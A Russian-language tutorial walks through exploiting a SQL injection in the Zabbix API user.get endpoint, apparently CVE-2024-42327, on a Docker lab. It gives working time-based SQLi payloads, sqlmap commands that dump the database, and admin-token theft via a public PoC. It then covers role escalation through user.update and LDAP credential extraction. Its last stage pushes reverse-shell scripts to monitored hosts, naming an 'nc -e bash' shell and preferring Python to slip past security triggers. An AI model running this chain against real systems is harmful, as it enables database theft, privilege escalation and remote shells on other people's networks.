В недавнем времени мне представилась возможность изучить SQL инъекцию в Zabbix — в свободной системе мониторинга состояний различных сервисов компьютерных сетей, серверов и сетевого оборудования, созданной Алексеем Владышевым.
Я нашел несколько статей на эту тему, которые, кажется, были написаны одним человеком (или группой людей), где кратко описаны детали уязвимости. Огромное спасибо этому автору(ам), однако для полного понимания потребовалось дополнительное исследование и поиск информации.
Данная статья является своего рода инструкцией по проверке и тестированию уязвимости, используя не только Burp, но и sqlmap, API самого Zabbix'а, а также найденные в открытом доступе эксплойты.
Поехали!
SQL injection в API, endpoint user.get
Уязвимые версии:
6.0.0 - 6.0.31 (кажется где-то видел, что до 6.0.36 версии)
6.4.0 - 6.4.16
7.0.0
Подготовка окружения
Приступим к установке zabbix необходимой для нас версии (ubuntu-6.0.1), при помощи docker'a:
sudo apt install docker docker.io docker-compose
docker network create --subnet 172.20.0.0/16 --ip-range 172.20.240.0/20 zabbix-net
docker run --name mysql-server -t \
-e MYSQL_DATABASE="zabbix" \
-e MYSQL_USER="zabbix" \
-e MYSQL_PASSWORD="zabbix_pwd" \
-e MYSQL_ROOT_PASSWORD="root_pwd" \
--network=zabbix-net \
--restart unless-stopped \
-d mysql:8.0 \
--character-set-server=utf8 --collation-server=utf8_bin \
--default-authentication-plugin=mysql_native_password
docker run --name zabbix-java-gateway -t \
--network=zabbix-net \
--restart unless-stopped \
-d zabbix/zabbix-java-gateway:ubuntu-6.0.1
docker run --name zabbix-server-mysql -t \
-e DB_SERVER_HOST="mysql-server" \
-e MYSQL_DATABASE="zabbix" \
-e MYSQL_USER="zabbix" \
-e MYSQL_PASSWORD="zabbix_pwd" \
-e MYSQL_ROOT_PASSWORD="root_pwd" \
-e ZBX_JAVAGATEWAY="zabbix-java-gateway" \
--network=zabbix-net \
-p 10051:10051 \
--restart unless-stopped \
-d zabbix/zabbix-server-mysql:ubuntu-6.0.1
docker run --name zabbix-web-nginx-mysql -t \
-e ZBX_SERVER_HOST="zabbix-server-mysql" \
-e DB_SERVER_HOST="mysql-server" \
-e MYSQL_DATABASE="zabbix" \
-e MYSQL_USER="zabbix" \
-e MYSQL_PASSWORD="zabbix_pwd" \
-e MYSQL_ROOT_PASSWORD="root_pwd" \
--network=zabbix-net \
-p 80:8080 \
--restart unless-stopped \
-d zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.1
Логин и пароль по умолчанию: Admin/zabbix
Предполагаем, что найденные учетные данные пользователя, имеют минимальные права в Zabbix.
Для чистоты эксперимента создадим тестовую группу "Users groups".
Группа "Guest" нам не подойдет, потому как "Fronted access" у нее в дефолтном состоянии выставлен на "Internal". Так же бы нам подошла группа "Zabbix Administrators" & группа дебага.
Перейдем к созданию роли. Оставим минимум доступа и обязательно доступ к API.
В стандарте выставляется чуть больше доступа, но предположим, что найденные креды постарались максимально ограничить.
Тестовый пользователь:
Имя пользователя: test_cve
Пароль: p2ssw0rd123
Тестирование
Burp
Подготовка стенда завершена. Приступим к тестированию уязвимости
Для начала откроем Burp и обратимся на api_jsonrpc.php для получения сессионного токена
{
"jsonrpc":"2.0",
"method":"user.login",
"params":{
"username":"test_cve",
"password":"p2ssw0rd123"
},
"id":1
}
Далее говорится про SQLi Time-based blind в эндпоинте user.get, попробуем обратится к нему:
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": [
"roleid",
"name",
"type",
"readonly AND (SELECT(SLEEP(5)))"
],
"userids": [
"1",
"2"
]
},
"id": 1,
"auth": "d5a70c4b476e176ad5891ad1a2341e1c"
}
Выходит наш payload сработал. Уязвимость действительно присутствует.
Далее можем сформировать пейлоад AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')
и вычислить количество символов в наименовании БД.
После чего, отправить запрос в Intruder и перебирать каждый символ, пока не получим название:
Intruder -> Sniper attack -> Payload type: Brute force -> Character set (цифры/буквы) -> min\max lenght =1 -> Выделить необходимый символ поиска
SQLmap
Отлично, это все очень круто, но вручную подобное проверять будет достаточно проблематично.
Скопируем запрос из репитера в текстовый файл, например sqli_zabb_post_req.txt и попробуем скормить sqlmap, например прочитать баннер.
SQLMap возможно не лучшее решение в продуктовой среде, но на тестовом стенде можем использовать его.
sqlmap -r sqli_zabb_post_req.txt --technique=T -b --time-sec 3
Отлично, теперь мы можем бить более точечно, указав тип БД и идти дальше. Наименование БД нам тоже известно "zabbix" из теста с Burp.
Попробуем достать с БД всю информацию:sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all
В случае Time-Based blind это будет очень долго. Как вариант добавить больше данных, чтобы сократить время поиска.
API zabbix + scripts python or curl
А пока sqlmap работает, подойдем к вопросу с другой стороны.
Составим запрос, для проверки версии Zabbix:
Просмотрев документацию по API, нашел необходимый запрос
Запрос версии
(linux):
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"apiinfo.version","params":[],"id":1}'
(windows):
curl -X POST -k https://ip_address/api_jsonrpc.php -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}"
Запрос на вход API:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{"username":"test_cve","password":"p2ssw0rd123"},"id":1}'
Дополнительно в открытом источнике нашел PoC до RCE
Источник: https://github.com/BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE
Однако опробовав предоставленный скрипт, RCE получить не удалось. Все же в скрипте присутствует возможность извлечь session token админа.
Поэтому, для начала проанализируем предоставленный код и удалим со скрипта лишнее (функции рев шела, ввод л.адреса и л.порта).
Предполагается, что с хоста, с которого выполняется атака, есть необходимые библиотеки (их минимум) и Python.
Двигаемся дальше. Получив сессионный токен админа, можем повысить свои привилегии с помощью API, чтобы обрести полный доступ в веб интерфейсе Zabbix'a.
Повышение роли тестового пользователя через API
Покопавшись немного в документации, нашел возможность сменить роль нашего пользователя.
Например получение списка пользователей с параметрами:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}' | grep "test_cve"
Из этой информации нам нужно извлечь userid нашего пользователя "test_cve" и его roleid (userid:3 & roleid:5)
И в дополнении администратора (userid:1 & roleid:3)
Теперь повысим роль нашего пользователя
Запрос (используется auth токен администратор):
curl -X POST -k http:/ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3", "roleid":"3"},"auth":"1a53530682a7722fba0d6633e98ab64b","id":1}'
Ответ
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
Роль успешно сменилась, теперь пользователь "test_cve" с ролью администратора и ему доступны все функции в веб интерфейсе.
Горизонтальное перемещение
LDAP
Далее можем зайти в настройки LDAP. Ничего не меняя, отправить запрос на обновление и отловить запрос c чем-то похожим на JWT токен:
Декодировав данный токен (на jwt.io), можем получить необходимые данные и развивать атаку дальше :
Конечно же, этот вариант уместен в том случае, если настроен LDAP.
Удаленное выполнение скриптов с помощью Zabbix
Теперь опробуем удаленное выполнение скриптов (подразумевается, что на удаленном сервере настроена возможность удаленного выполнения команд):
Задаем имя скрипта -> Type: Script -> Execute on (выбираем где данный скрипт будет исполняться) -> Commands и вставляем сам скрипт (брал стандартный Python3 на revshells.com, можно конечно же использовать что-то вида "nc -e bash ip_address port", но nc/ncat может быть не на всех хостах, к тому же у команды безопасности может быть настроен триггер на nc/ncat, считаю что python/python3 кажется более легитимным)
После чего перемещаемся в "Actions" добавляем условия и операции
Теперь, если агенты у нас пассивные, удаленное исполнение команд работает и мы все правильно настроили:
/etc/zabbix/zabbix_agentd.conf ->
* строка ServerActive закомментирована
* и имеется строка "EnableRemoteCommands=1"
Мы должны поймать запрос от удаленного хоста и получить rev shell
Обновив ранее созданное действие, наш шел сработал:
Делаем вывод, что, получив доступ до пользователя с ролью суперадмина (или любой другой, позволяющей создавать скрипты), мы можем получать удаленные доступы до других хостов под управлением Zabbix, при наличии исполнения команд на удаленных хостах.
Дополнительно опробую возможность отправки скриптов с помощью API:
-
Получим токен
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"user.login","params":{ "user":"test_cve", "password":"p2ssw0rd123"},"id":1}'
-
Получение информации о узле по имени (выделим hostid:10516)
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"host.get","params":{"filter": {"host": ["hostname"]} },"auth":"fc523f26d819f5cccddcd830675514b5","id":1}'
-
Получение списка скриптов:
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.get","params":{"output":"extend"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}'
Выделяем нужный нам scriptid (scriptid:5) -
И нам выдаст ошибку {"jsonrpc":"2.0","error":{"code":-32500,"message":"Application error.","data":"Script is not allowed in manual host action: scope:1"},"id":1}
Потому как при создании скрипта мы не указали ручное включение (вкладка Scope -> Manual host action).
Поэтому для теста, клонировал наш предыдущий скрипт, с необходимыми параметрами.Изменив scriptid наш запрос выполнился
curl -X POST -k http://ip_address/api_jsonrpc.php -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","method":"script.execute","params":{"scriptid":"6", "hostid":"10516"},"auth":"588af5565413e089b84a4869c7fa12e4","id":1}'
Правда соединение было не долгим, поэтому лучше запускать скрипт в веб, с действием.
На этом все, благодарю за внимание!
В дополнение:
Nuclei
Несколько часов после изучения, удалось написать что-то похожее на шаблон для поиска версий Zabbix:
Однако при запуске nuclei -u http://ip_address -t zabbix_cve_template.yaml -- debug мне выдало очередное сообщение об ошибке:
Буду максимально благодарен, если кто-то подскажет молодому, что именно не так в шаблоне.
Отдельная благодарность статье, которая позволила разобраться с CVE, и ее автору @denis-19